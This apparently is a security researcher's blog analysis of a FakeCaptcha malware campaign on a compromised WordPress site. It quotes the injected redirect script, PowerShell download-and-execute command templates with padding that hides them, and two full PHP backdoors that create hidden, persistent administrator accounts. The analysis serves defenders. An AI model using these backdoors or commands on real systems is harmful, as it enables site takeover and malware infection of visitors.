HuluCaptcha — An example of a FakeCaptcha framework
Hello and welcome back to another blog post. After some time of absence due to a lot of changes in my personal life ( finished university, started a new job, etc), I am happy to finally be able to present something new.
Chapter 1: Captcha-verified Victim
This story starts with a message by one of my long time internet contacts:
I assume, some of you can already tell from this message alone that something terrible had just happend to him.
The legitimate website of the German Association for International Law had redirected him to an apparent Cloudflare Captcha site asking him to execute a Powershell command on device that does a Webrequest (iwr = Invoke-WebRequest) to a remote website (amoliera[.]com) and then pipes the response into “iex” which stands for Invoke-Expression.
Thats a text-book example for a so called FakeCaptcha attack.
For those of you that do not know what the FakeCaptcha attack technique is, let me give you a short primer:
A Captcha in itself is a legitimate method Website Owners use to differentiate between bots (automated traffic) and real human users. It often involves at-least clicking a button but can additionally require the website visitor to solve different form of small tasks like clicking certain images out of a collection of random images or identifying a bunch of obscurely written letters. The goal is to only let users visit the website that are able to solve these tasks, which are often designed to be hard for computers but easy for human beings. Well, most of the times.
During the years, these Captchas have become a normal “symptom” of browsing websites on the Internet. While attackers have abused that trust for several years already, in recent months there is a surge of attacks abusing this normal method of verification to infect users with malware. These attacks involve the creation of legitimate looking copys of known Captcha services, like Google Recaptcha or Cloudflare Turnstyle and pairing them with tasks that ultimately lead to a device compromise. The most common technique in this context is asking the victim to run code via the Windows Run command. We will see an example of this during further below.
On the day of my friends message, I did an initial investigation of the matter. I published an initial summary of said investigation here on Twitter.
Initially, I did not plan to release anything more on the matter. By now the FakeCaptcha attack method is well known and I frequently come across different low effort variants of it. However, today, a month later, I revisited the attack. To my surprise, while the infected website from the initial investigation, dvir[.]de is cleaned up, most of the important attacker infrastructure is still untouched. Additionally when revisiting the code, I saw some interesting ideas the attacker tried to implement in their code and indications of a broader FakeCaptcha framework being set up. Despite the fact that some of them seem very poorly implemented, making me assume that either the actor made use of AI for coding or the template is still in an early development process, I hope that highlighting them will enable defenders to understand these variations of the attack pattern. Additionally, I hope to highlight and evolving attack framework that potentially is here to stay. Additionally, for the first time ever, I had the opportunity to access the data of the compromised wordpress environment to do some forensical on-device analysis of the infected website. A new opportunity for me that allowed me to recover some interesting backdoor code, analysed further below.
So without further ado, lets get straight into it!
Chapter 2: Analysis of the dvir[.]de infection
Disclaimer: At time of writing the website dvir[.]de is not online any longer. Information presented below is collected from personal notes and public tooling where I uploaded the attack campaign at time of compromise (Urlscan.io, Tria.ge, etc).
The FakeCaptcha on the “dvir[.]de” website started with a short snippet of JavaScript injected into “hxxp[:]//www[.]dvir[.]de/wp-content/themes/Dummy/assets/js/main.min.js?ver=1.0”
The code, added at the very bottom of said file, was:
let dummyapp = new MainApp();
(async function () {
let e = decodeURIComponent(escape("hxxps://goclouder[.]com/0a1F2b3C4d5E6f7A8b9C0d1E2f3A4b5"));
function t(e) {
return btoa(unescape(encodeURIComponent(e)));
}
let n = {};
async function o(n = 1) {
try {
let i = await fetch(decodeURIComponent(escape("hxxps://analytiwave[.]com/api/getUrl")));
if (!i.ok) {
throw Error("Network response was not ok");
}
return `${(await i.json()).url}/?wsid=${window.location.hostname}&domain=${t(window.location.hostname)}`;
} catch (r) {
if (n < 3) {
return o(n + 1);
}
return `${e}/?wsid=${window.location.hostname}&domain=${t(window.location.hostname)}`;
}
}
window.location.search.slice(1).split("&").forEach(e => {
let [t, o] = e.split("=");
if (t && o) {
n[t] = decodeURIComponent(o.replace(/\+/g, " "));
}
});
if (n.verified) {
localStorage.setItem("verified", "true");
}
let i = document.querySelector("link[rel=\"icon\"]");
let r = navigator.userAgent;
let a = /Windows NT 10.0/.test(r);
let s = /Edg\/(1[2-3][0-9]\.\d+\.\d+\.\d+)/.test(r);
let l = /Chrome\/(1[2-3][0-9]\.\d+\.\d+\.\d+)/.test(r);
let c = /Firefox\/(1[3-4][0-9]\.\d+)/.test(r);
if (localStorage.getItem("verified") !== "true" && a && (s || l || c)) {
o().then(e => {
if (i) {
e += `&link=${t(i.href)}`;
}
window.location.replace(e);
});
}
})();
This code does the following:
# Malicious JavaScript Analysis: Redirect Chain
## Setup Phase
1. Defines an object `dummyapp`
2. Initializes variable `e` with fallback URL:
`hxxps://goclouder[.]com/0a1F2b3C4d5E6f7A8b9C0d1E2f3A4b5`
3. Creates function `t()` that performs base64 encoding on input strings
## URL Acquisition
4. Attempts to fetch from `hxxps://analytiwave[.]com/api/getUrl`
5. If response contains JSON with `url` property:
- Uses this value as target URL
- Otherwise, tries 2 more fetch attempts
- If all attempts fail, falls back to URL stored in variable `e`
## Parameter Building
6. Appends tracking parameters to the final URL:
- `wsid`: Infected hostname (plaintext)
- `domain`: Infected hostname (base64 encoded)
## Execution Prevention Check
7. Checks URL parameters of current page:
- If `verified` parameter exists, sets localStorage variable `verified=true`
## Environmental Reconnaissance
8. Searches for page favicon:
- If found, stores URL for later use
9. Retrieves victim's UserAgent string
10. Checks if victim is using Windows OS
11. Verifies browser compatibility against specific version ranges:
- Microsoft Edge (v120-139)
- Google Chrome (v120-139)
- Mozilla Firefox (v130-149)
## Execution Logic
12. Redirects victim if ALL conditions are met:
- Windows OS detected
- Compatible browser version detected
- `verified` flag not previously set
- Appends additional `link` parameter with base64-encoded favicon URL (if favicon was found)
13. Takes no action if any condition fails
The URL that is called by the script will perform a 302 redirect to a website mimiking a security page by Cloudflare, and pass on the domain url parameter.
The code that is served after a successful redirect will present the victim with a fake captcha.
As previously described, the prompt that is shown to the user after clicking on the captcha checkbox instructs them to copy-paste code into the Windows Run command box.
Now, this attack has been demonstrated in several articles and posts before. However, in my opinion, the actors in this particular attack did do some very interesting things within the fake captcha page, which are worth noting. Instead of demonstrating the complete code of their fake captcha page, I will highlight some of the more interesting parts of it. If you want to look at the code in its entirety, you can find it on my Github.
Feature 1: Continues Login of Victim Page Interactions
As observed with other more advanced FakeCaptcha templates, the HuluCaptcha framework does make use of several tracking requests while the victim interacts with the fake captcha page. Lets have a look at the related code sections.
The first log message by the server is created by this code:
function handleCheckboxClick(event) {
event.preventDefault();
clickCount++;
verifyingElement.style.display = "block";
verifyingElement.style.visibility = "visible";
if (checkboxLabel) {
checkboxLabel.style.display = "none";
}
if (checkboxLabelText) {
checkboxLabelText.style.display = "none";
}
fetch("/log-click", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
event: "✅ Verify Clicked"
})
});
If the victim that was redirected to the fake captcha page clicks the checkbox that initiates the “verification process”, a POST request is sent to the /log-click endpoint with the json content “✅ Verify Clicked”.
After this click, several components will change and render the false captcha instruction page. As can be seen in Figure 2, these instructions involve clicking the Windows Key + the R key.
The fake captcha page tries to log if the victim really executes said instructions by using the following code.
let winKeyPressed = false;
let winKeyCombinationDetected = false;
document.addEventListener("keydown", function (event) {
if (event.key === "Meta" && !winKeyPressed) {
winKeyPressed = true;
winKeyCombinationDetected = false;
}
});
document.addEventListener("keyup", function (event) {
if (event.key === "Meta") {
winKeyPressed = false;
if (!winKeyCombinationDetected) {
fetch("/log-click", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
event: "✅ Win Released (No Combo)"
})
});
}
}
});
window.addEventListener("blur", function () {
if (winKeyPressed) {
winKeyCombinationDetected = true;
fetch("/log-click", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
event: "✅ Win + R"
})
});
}
winKeyPressed = false;
});
The code consists of two seperate check functions which try to track the “Win + R” keypress combination.
A first check is done to identify if the victim presses the Windows key without a “combination”. This means: If the victim presses the windows key and then releases it without pressing another button, the message ”✅ Win Released (No Combo)” is sent to the /log-click endpoint.
However, if the victim clicks the Windows key and then the current browser window looses focus ( as identified via addEventListener(“blur”) ), it must mean the victim pressed a key combination which was triggered by the Windows button and the press of a second key. Since the page can not track key up events ones the website has lost focus, the code assumes that it must have been the Windows + R combination and sends a log message to the tracking endpoint: “✅ Win + R”. This check is not accurate since any other Windows Key combo that leads to the loss of focus to the current browser window would trigger this message as well (examples: Win + Tab, Win + M, etc). As such this check is only partially correct, but likely sufficient for the attackers purpose since the payload execution will send yet another message to the tracking server.
At this point the attacker has tracked that the victim clicked the verify box and potentially executed the fraudulent commands.
At this point, another check comes into play, that was triggered in the same function that sent the “✅ Verify Clicked” message to the /log-click endpoint initially:
function f7() {
fetch("/f1E2d3C4b5A6f7E8d9C0b1A2f3E4d5C6", {
method: "GET",
credentials: "same-origin"
})
.then(p10 => {
if (p10.status === 200) {
const v32 = v7 ? "https://" + v7 + "?verified=true" : "https://www.hulu.com/";
clearInterval(v36);
window.location.replace(v32);
v13.style.display = "block";
v13.onclick = function() {
const v33 = localStorage.getItem("refid");
if (v33) {
const v34 = document.createElement("iframe");
v34.style.display = "none";
const v35 = window.location.search.replace(/&?refid=[^&]*/g, "");
v34.src = "https://" + v33 + "/thanks";
v34.onload = function() {
navigator.clipboard.writeText(v32)
.then(() => {})
.catch(p11 => {})
.finally(() => {
window.location.replace(v32);
});
};
document.body.appendChild(v34);
}
};
}
})
.catch(p12 => console.error("Error:", p12));
}
let v36;
function f8() {
v36 = setInterval(f7, 500);
};
f8();
}
}, 3000);
}
This function is a loop that starts after 3 seconds. It will continuesly try to fetch the endpoint “/f1E2d3C4b5A6f7E8d9C0b1A2f3E4d5C6” on the tracking server. Ones it receives a status code 200 response, it will redirect the victim to the original page they tried to visit when the fraudulent captcha process started. A parameter “verified=true” is appended. As initially discussed, this will be converted into a local variable and prevent a reexectuion of the initial page inject.
Analysis shows that the “/f1E2d3C4b5A6f7E8d9C0b1A2f3E4d5C6” endpoint returns “200” on an IP basis. The tracking system seems to get a ping from the staging server that hosts the on-device payload. This is used to track a succesfull execution, since the victims IP would only reach out to the staging server if it executes the command via the Windows Run command.
In case the original page redirect does not work, it will redirect the victim to the legitimate website “hulu.com”, an oddity that caused me to name this threat HuluCaptcha. In Chapter 4 we will see that at least one additional domain used by this threat refers to the Hulu streaming service as well.
After the redirect via
const v32 = v7 ? "https://" + v7 + "?verified=true" : "https://www.hulu.com/";
clearInterval(v36);
window.location.replace(v32);
we see some additional interesting code:
clearInterval(v36);
window.location.replace(v32);
v13.style.display = "block";
v13.onclick = function() {
const v33 = localStorage.getItem("refid");
if (v33) {
const v34 = document.createElement("iframe");
v34.style.display = "none";
const v35 = window.location.search.replace(/&?refid=[^&]*/g, "");
v34.src = "https://" + v33 + "/thanks";
v34.onload = function() {
navigator.clipboard.writeText(v32)
.then(() => {})
.catch(p11 => {})
.finally(() => {
window.location.replace(v32);
});
};
document.body.appendChild(v34);
}
};
This code appears to be used for some form of “referral id” tracking. I will highlight its functionality in as Feature 3 of this chapter.
Additionally, there is also a tracking function that is activated upon clicking the label of the fake captcha box. It sends a post message “myButton” to the endpoint “/f1E2d3C4b5A6f7E8d9C0b1A2f3E4b9F7”. It appears to be a debug function or some optional functionality that is not yet fully implemented. The webresponse from said endpoint would be logged to the browser console with a “Success:” prepended, or alternatively the error of such a request would be logged with an “Error:” prepended.
document.querySelector("#kGtPC2 > div > label").addEventListener("click", function () {
// SERVER TRACKING #5: Logs when checkbox label is clicked
fetch("/f1E2d3C4b5A6f7E8d9C0b1A2f3E4b9F7", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
buttonId: "myButton"
})
}).then(response => response.json()).then(data => {
console.log("Success:", data);
}).catch(error => {
console.error("Error:", error);
});
});
Feature 2: Automated creation of Powershell commands
In my opinion this part is the most interesting feature of this FakeCaptcha template. However, it does not seem to be actively used at time of writing. Despite that, lets have a look at the code, because it contains some interesting ideas.
function generateRandomUrl() {
const domainList = ["amoliera[.]com", "www.amoliera[.]com", "core.amoliera[.]com", "amoliera[.]info", "www.amoliera[.]info", "core.amoliera[.]info", "amoliera[.]org", "www.amoliera[.]org", "core.amoliera[.]org"];
const randomDomain = domainList[Math.floor(Math.random() * domainList.length)];
const fullUrl = "https://" + randomDomain;
return fullUrl;
function splitStringRandomly(inputString) {
let chunks = [];
while (inputString.length) {
const chunkSize = Math.floor(Math.random() * (inputString.length / 2)) + 1;
chunks.push(inputString.slice(0, chunkSize));
inputString = inputString.slice(chunkSize);
}
return chunks;
}
function formatForPowershellConcatenation(stringArray) {
return stringArray.map(segment => "'" + segment + "'").join("+");
}
const urlParts = fullUrl.match(/(.+:\/\/)([^/]+)(.*)/);
if (!urlParts) {
throw new Error("Invalid URL format");
}
const protocolChunks = splitStringRandomly(urlParts[1]);
const domainChunks = splitStringRandomly(urlParts[2]);
const pathChunks = splitStringRandomly(urlParts[3] || "");
const obfuscatedProtocol = formatForPowershellConcatenation(protocolChunks);
const obfuscatedDomain = formatForPowershellConcatenation(domainChunks);
const obfuscatedPath = formatForPowershellConcatenation(pathChunks);
const commandTemplates = ["powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + ");iex (iwr -Uri $url -UseBasicParsing) }\"", "powershell -w hidden -Command \"& { $endpoint=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); (iex (Invoke-WebRequest $endpoint)) }\"", "powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (iwr $url -UseBasicParsing) }\"", "powershell -w 1 -Command \"& { $url=(" + obfuscatedCommand + "); iex (irm $url) }\"", "powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); Invoke-Command -ScriptBlock { iex (iwr $url -UseBasicParsing) } }\"", "powershell -w hidden -Command \"& { $link=(" + obfuscatedProtocol + "+" + obfuscatedDomain + ");iex (iwr -Uri $link -UseBasicParsing) }\"", "powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); (iex(Invoke-WebRequest $target -UseBasicParsing)) }\"", "powershell -w hidden -Command \"& { $link=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (iwr $link -UseBasicParsing) }\"", "powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (irm $target) }\"", "powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); Invoke-Command -ScriptBlock { iex (iwr $target -UseBasicParsing) } }\""];
const randomCommand = commandTemplates[Math.floor(Math.random() * commandTemplates.length)];
}
function generateAndCopyPowershellCommand() {
const randomNumber = Math.floor(Math.random() * 1000000);
let generatedUrl = generateRandomUrl();
let baseCommand = "powershell -w 1 iwr " + generatedUrl + "|iex ";
const maxCommandLength = 240;
const maxPadding = 50;
const paddingNeeded = maxCommandLength - baseCommand.length;
let finalCommand = "";
if (paddingNeeded > 0) {
const actualPadding = Math.min(maxPadding, paddingNeeded);
finalCommand = "" + baseCommand + " ".repeat(actualPadding);
} else {
finalCommand = baseCommand.substring(0, maxCommandLength);
}
navigator.clipboard.writeText(finalCommand).then(() => {
console.log("Command copied to clipboard successfully.");
}).catch(error => {
console.error("Failed to copy command to clipboard:", error);
});
}
At the beginning we see a random payload domain generator. The code makes use of a list of hardcoded domains.
const domainList = ["amoliera[.]com", "www.amoliera[.]com", "core.amoliera[.]com", "amoliera[.]info", "www.amoliera[.]info", "core.amoliera[.]info", "amoliera[.]org", "www.amoliera[.]org", "core.amoliera[.]org"];
These domains are used to serve the next stage Powershell commands that will be executed ones the victim executes the initial command via the Windows Run field. They will be entered into
"powershell -w 1 iwr " + generatedUrl + "|iex
to generate the final command.
After that, we see a PowerShell payload generator. For unexplained reasons, this payload generator, despite having a really interesting approach, is not actively used in the observed code. It could be that this code fragment is part of ongoing development by the actor. It could also be that during development the actor realized that they might have overcomplicated things and instead chose to use a simpler approach.
If the code would not return at the current return statement in the generateRandomUrl() function, it would do the following:
- The code would select a random domain from the domainList.
- The code would decompose the URL generated from said domain into protocol, domain and path.
- Each part would be split into random chunks, which would then be formatted into concatinated PowerShell commands, for example ”do”+”main”+”.t”+”ld”. A typical antivirus evasion approach.
- Then a random command from a predefined PowerShell command list would be selected. Those commands all use the -hidden argument to not show a PowerShell window upon execution. They all use different ways to reach out to the selected domain and execute the returned content.
powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + ");iex (iwr -Uri $url -UseBasicParsing) }\"
powershell -w hidden -Command \"& { $endpoint=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); (iex (Invoke-WebRequest $endpoint)) }\"
powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (iwr $url -UseBasicParsing) }\"
powershell -w 1 -Command \"& { $url=(" + obfuscatedCommand + "); iex (irm $url) }\"
powershell -w hidden -Command \"& { $url=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); Invoke-Command -ScriptBlock { iex (iwr $url -UseBasicParsing) } }\"
powershell -w hidden -Command \"& { $link=(" + obfuscatedProtocol + "+" + obfuscatedDomain + ");iex (iwr -Uri $link -UseBasicParsing) }\"
powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); (iex(Invoke-WebRequest $target -UseBasicParsing)) }\"
powershell -w hidden -Command \"& { $link=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (iwr $link -UseBasicParsing) }\"
powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); iex (irm $target) }\"
powershell -w hidden -Command \"& { $target=(" + obfuscatedProtocol + "+" + obfuscatedDomain + "); Invoke-Command -ScriptBlock { iex (iwr $target -UseBasicParsing) } }\"
5. Furthermore, the command would be padded using “space” characters to always be of a specific length. This approach of adding whitespaces to the command can lead to the victim not seing the command they paste into Microsoft Run, because the padding moves the command out of the window and the victim only sees an empty run field. (I wonder how long this will be abused before some cybersecurity org decides to slap a fancy name on it and market it as a new top-severity security vulnerability…)
Ultimately, each victim would be executing one of 10 PowerShell commands using one of 9 domains, leading to a total of 90 different payloads.
While not having data to back it, I do assume that the usage of this generator could lead to a higher volume of succesful infections because one payload might bypass a victim’s security solution while another might not. Ultimately, by only using one hardcoded command, the attacker reduces their potential to infect devices to zero if the command used is blacklisted, despite having the code in place to do better.
Feature 3: Affiliate Tracking capabilities
An additional feature that is worth to point out is an apparent “affiliate tracking” mechanism. It is found in 2 places of the JavaScript.
const refId = getUrlParam("refid");
if (refId) {
localStorage.setItem("refid", refId);
const cleanedQueryString = removeUrlParam("refid");
const iframeUrl = "https://" + refId + "?" + cleanedQueryString;
const trackingIframe = document.createElement("iframe");
trackingIframe.style.display = "none";
trackingIframe.src = iframeUrl;
document.body.appendChild(trackingIframe);
}
The first part of the apparent affiliate tracking system checks if the parameter “refid” is set in the current url. If yes, the value is stored to a localStorage item called refid. Apparently, the refid is expected to contain a domain or ip, because in the next step, the value is used to create a URL, passing on the original query parameters to https://<refid>.
The iframe is then loaded and appended to the websites body.
Once the victim followed all steps of the fake captcha, as tracked by the different mechanisms in the Feature 1 section of this chapter, a redirect to the original infected domain is triggered.
window.location.replace(redirectUrl);
modalButton.style.display = "block";
modalButton.onclick = function () {
const refId = localStorage.getItem("refid");
if (refId) {
const hiddenIframe = document.createElement("iframe");
hiddenIframe.style.display = "none";
const cleanedQueryString = window.location.search.replace(/&?refid=[^&]*/g, "");
hiddenIframe.src = "https://" + refId + "/thanks";
hiddenIframe.onload = function () {
navigator.clipboard.writeText(redirectUrl).then(() => {}).catch(err => {}).finally(() => {
window.location.replace(redirectUrl);
});
};
document.body.appendChild(hiddenIframe);
If a refid value was defined in localStorage by the first part of the code, the code is designed to change the “continue” button to call out to a hidden iframe with the refid as a source hostname and the /thanks path. Ones that iframe would be loaded, the code would copy the original infected page url into the victims clipboard, before triggering a redirect to it. Note that this is a fully automatic process, the victim does not actually need to click the button for this to happen. However, at time of writing, I did not observe the feature in active use.
Ultimately, my friend was infected with the Lumma stealer malware. An analysis of said stealer would be beyond the scope of this article. Other threats that have since been observed to be spread by this campaign are Aurotun Stealer and Donut Injector / Donutloader.
Chapter 3: Investigating a compromised server
As part of this investigation I was also fortunate to be given access to the compromised server belonging to the website dvir[.]de. Despite the fact that logs for the initial compromise where not retained long enough to investigate the root cause of the infection, some interesting artifacts where recovered.
The following timeline was built based on the recovered information:
As can be seen, at the beginning of the available log files (10th of April 2025) , the actor already had a valid login to the website. It is unknown if the access was obtained using stolen credentials or if a security vulnerability was abused. However, there are technical indicators suggesting the actor might have executed a larger scan against the website on the 6th of April.
The first backdoor the threat actor uploaded came in form of a WordPress plugin called “core-handler2”.
<?php
/*
Plugin Name: Core Handler
Plugin URI: http://wordpress.org/plugins/
Description: Core functionality handler for WordPress
Version: 2.1
Author: WordPress
Author URI: http://wordpress.org/
*/
if (!defined('ABSPATH')) {
exit;
}
define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));
function create_admin() {
if (!username_exists('backupsystems')) {
$user_id = wp_create_user(
'backupsystems',
'<Password redacted by Gi7w0rm>',
'backupsystems@wordpress.org'
);
if (is_int($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
update_user_meta($user_id, 'wp_user_status', wp_hash(time()));
}
}
}
// Усиленное скрытие из списков пользователей
function hide_admin_user($query) {
global $wpdb, $current_user;
// Не скрывать от самого себя
if ($current_user->user_login === 'backupsystems') {
return;
}
// Скрытие из основного запроса
$query->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'backupsystems'",
$query->query_where
);
// Скрытие из поиска
if (!empty($query->query_vars['search'])) {
$query->query_where .= " AND {$wpdb->users}.user_login != 'backupsystems'";
}
}
add_action('pre_user_query', 'hide_admin_user');
// Скрытие из REST API и других запросов
function hide_from_rest($args) {
if ($user = get_user_by('login', 'backupsystems')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'] = array_merge($args['exclude'], array($user->ID));
}
return $args;
}
add_filter('rest_user_query', 'hide_from_rest');
add_filter('users_list_table_query_args', 'hide_from_rest');
// Корректировка счетчиков пользователей
function correct_user_count($views) {
$list = count_users();
if (isset($list['avail_roles']['administrator'])) {
$list['avail_roles']['administrator']--;
}
$list['total_users']--;
$class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
$class_all = (strpos($views['all'], 'current') === false) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
translate_user_role('Administrator') .
' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' .
__('All') .
' <span class="count">(' . $list['total_users'] . ')</span></a>';
return $views;
}
add_filter('views_users', 'correct_user_count');
// Скрытие из результатов поиска
function exclude_from_search($user_search) {
global $wpdb;
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'backupsystems'",
$user_search->query_where
);
}
add_action('pre_user_search', 'exclude_from_search');
// Скрытие из списка авторов
function exclude_from_authors($args) {
if ($user = get_user_by('login', 'backupsystems')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'][] = $user->ID;
}
return $args;
}
add_filter('wp_dropdown_users_args', 'exclude_from_authors');
// Скрытие из запросов к базе данных
function modify_user_queries($where) {
global $wpdb;
return $where . $wpdb->prepare(" AND user_login != %s", 'backupsystems');
}
add_filter('users_where', 'modify_user_queries');
// Скрытие плагина
function hide_plugin($plugins) {
if (isset($plugins[PLUGIN_BASE])) {
unset($plugins[PLUGIN_BASE]);
}
return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');
// Защита от деактивации
function ensure_plugin_active() {
if (!function_exists('is_plugin_active')) {
require_once(ABSPATH . 'wp-admin/includes/plugin.php');
}
if (!is_plugin_active(PLUGIN_BASE)) {
$active_plugins = get_option('active_plugins', array());
if (!in_array(PLUGIN_BASE, $active_plugins)) {
$active_plugins[] = PLUGIN_BASE;
update_option('active_plugins', array_unique($active_plugins));
}
}
}
register_activation_hook(PLUGIN_FILE, 'create_admin');
add_action('init', 'create_admin');
add_action('admin_init', 'ensure_plugin_active');
add_action('shutdown', 'ensure_plugin_active');
// Скрытие из сайдбара админки
function hide_from_admin_bar() {
if (!current_user_can('administrator')) {
remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
}
}
add_action('wp_before_admin_bar_render', 'hide_from_admin_bar');
// Скрытие из XML-RPC запросов
add_filter('xmlrpc_methods', function($methods) {
unset($methods['wp.getUsers']);
unset($methods['wp.getUsersBlogs']);
return $methods;
});
Without analysing the code in-depth, we can imediatly observe two interesting details.
First, the code starts with a comment section that tries to mimic a real WordPress plugin, a simple evasion method. Additionally, we can find several russian code comments, explaining the different sections of the backdoor. The extensive code comments could hint the use of a LLM during the creation process of the backdoor.
The backdoor has the following key functionalities:
- Prevents direct access to the file via a check for the
ABSPATH
constant. - Creates a hidden administrator account named
backupsystems
with a hardcoded password and the emailbackupsystems@wordpress.org
, mimicking a legitimate WordPress account. - Modifies WordPress user listing SQL queries to exclude the
backupsystems
account, effectively hiding it from standard user lists and search queries. - Excludes the account from REST API responses and the backend user listing table.
- Falsifies user count statistics by reducing the total and administrator user counts by one to obscure the hidden account.
- Ensures the
backupsystems
account doesn't appear in user dropdowns, author selection boxes, and admin search fields. - Appends a
user_login != 'backupsystems'
clause to all user-related SQLWHERE
queries — serving as a catch-all mechanism. - Removes the plugin from the WordPress plugin list, its action links (like activate/deactivate), and the active plugin list to avoid detection.
- Adds persistence by re-creating the
backupsystems
account on every page load if it's been deleted. - Adds plugin reactivation logic to automatically re-enable the plugin if it is deactivated.
- Hides the account from the admin bar, unless the logged-in user is
backupsystems
. - Prevents enumeration of the backdoor user via WordPress XML-RPC methods (
wp.getUsers
,wp.getUsersBlogs
).
After installing and activating the plugin, the actor can silently gain persistent administrator access to the WordPress site through a hidden backdoor account (backupsystems
). This account is fully functional but completely concealed from the admin interface, user lists, REST API, and plugin listings. Even if deleted or the plugin is deactivated, it will automatically be restored, ensuring ongoing covert control of the website.
The distinction between the “core-handler2” and “core-handler” plugins is straightforward: after successfully deploying “core-handler2,” the actor made multiple attempts to deploy “core-handler,” with the only change being the removal of Russian code comments from the original version. It is likely that the actor realized it was not the most intelligent move to deploy a russian language commented backdoor to a non-russian website, especially when the comments explain what the code does in detail. It is hard to hide malicious functionalities if you leave comments explaining them.
I assume the redeployment of the Plugin failed because the old plugin was already in place and had created the backdoor account. Creating the exact same hidden admin account from 2 plugins that also intend to hide said account likely lead to “competing” code statements and errors in the WordPress instance.
While investigating this incident, I found this recent forum entry on the WordPress support forum:
https://wordpress.org/support/topic/in-this-case-wordpress-caught-an-error-with-one-of-your-plugins-core-handler/
In it, the administrator of the WordPress website woodslabs[.]ca complains about error messages related to wp-content/plugins/core-handler2/core-handler.php
on April 11th 2025. Several users complain about similar incidents. In case of the reported incidents on the forum, the plugin seems to have a different username “wordpresslicensed” configured.
This highlights an ongoing attack campaign with several victims using the same backdoor plugin, making it an important IoC to look out for.
In case of the incident related to dvir[.]de , the attacker deployed a second backdoor into the already existing file “/wp-content/themes/Dummy/theme/functions.php”. This backdoor came with very similar functionalities to the first one.
<?php
if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) {
add_action('pre_user_query', 'wp_enqueue_async_script');
add_filter('views_users', 'wp_generate_dynamic_cache');
add_action('load-user-edit.php', 'wp_add_custom_meta_box');
add_action('admin_menu', 'wp_schedule_event_action');
function wp_enqueue_async_script($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function wp_generate_dynamic_cache($views) {
$html = explode('<span class="count">(', $views['all']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
$html = explode('<span class="count">(', $views['administrator']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
return $views;
}
function wp_add_custom_meta_box() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function wp_schedule_event_action() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$params = array(
'user_login' => 'adminbackup',
'user_pass' => '< Password redacted by Gi7w0rm>',
'role' => 'administrator',
'user_email' => 'adminbackup@wordpress.org'
);
if (!username_exists($params['user_login'])) {
$id = wp_insert_user($params);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $params['user_login']);
if ($hidden_user->user_email != $params['user_email']) {
$id = get_option('_pre_user_id');
$params['ID'] = $id;
wp_insert_user($params);
}
}
if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) {
die('WP ADMIN USER EXISTS');
}
} defined('ABSPATH') or die("Silence is golden.");
// We include all .php files from our includes directory here
// If there is any functionality to add, do so by adding it to includes/custom.php
if( !function_exists ( 'dummy_functions_bootstrap' ) ):
function dummy_functions_bootstrap()
{
foreach ( glob( dirname( __FILE__ ) . '/includes/*.php' ) as $file )
include $file;
}
